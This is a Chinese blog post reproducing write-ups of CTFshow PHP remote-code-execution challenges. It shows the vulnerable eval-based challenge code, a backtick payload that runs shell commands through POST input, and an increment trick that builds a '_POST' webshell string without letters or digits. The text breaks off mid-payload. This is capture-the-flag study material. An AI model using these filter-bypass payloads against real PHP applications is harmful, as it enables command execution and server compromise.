一些RCE的汇总

RCE

  • 自增RCE
    • 参考[CTFshow-RCE极限大挑战官方wp]
      • RCE-1[过滤.(]
      • RCE-2p[自增-Array]
      • RCE-3[自增-NAN-<=105字符]
      • RCE-4[自增-NAN-<=84字符]
      • RCE-5[自增-gettext扩展]
      • 72位字符
      • 68位字符
  • 无参数RCE
    • 参考[RCE篇之无参数rce]
    • 介绍
      • 例题
      • 一些能用上的函数

前两天刚好ctfshow有个RCE极限大挑战,看着还挺好玩的,稍微摸了几个博客总结一下,感受感受大佬们的绕过技巧和思路。
直接照搬好像又不太合适,加一点点个人见解好了。

自增RCE

参考[CTFshow-RCE极限大挑战官方wp]

wp指路

CTFshow-RCE极限大挑战官方wp

开始复现

RCE-1[过滤.(]

题目源码


error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>

过滤了(.,wp有写文件包含,ls看了一眼直接开摆
一些RCE的汇总_第1张图片
因为php的反引号可以执行系统命令,就可以直接POST得到flag

code=echo `$_POST[1]`;&1=cat /f*

一些RCE的汇总_第2张图片

RCE-2p[自增-Array]

题目源码


//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
   
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
   
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
   
            eval($ctfshow);
        }else{
   
            echo("Are you hacking me AGAIN?");
        }
    }else{
   
        phpinfo();
    }
}
?>

禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
从这里开始进入正题了,由于异或^和取反~都被过滤了,就可以用到数组[]和递增++

先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型,就能得到数据类型相对应的字符串


// highlight_file(__FILE__);
$_ = [];//Array
echo $_.'
'
; $_ = [].'';//Array echo $_.'
'
; $_ = "$_";//Array echo $_.'
'
; $_ = $_['!'=='@'];//Array[0]=>A echo $_.'
'
; echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了
'
; @$a=(0/0);//NAN echo $a.'
'
; @$b=(1/0);//NAN echo $b; ?>

一些RCE的汇总_第3张图片
exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了


$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__

你可能感兴趣的:(php,开发语言)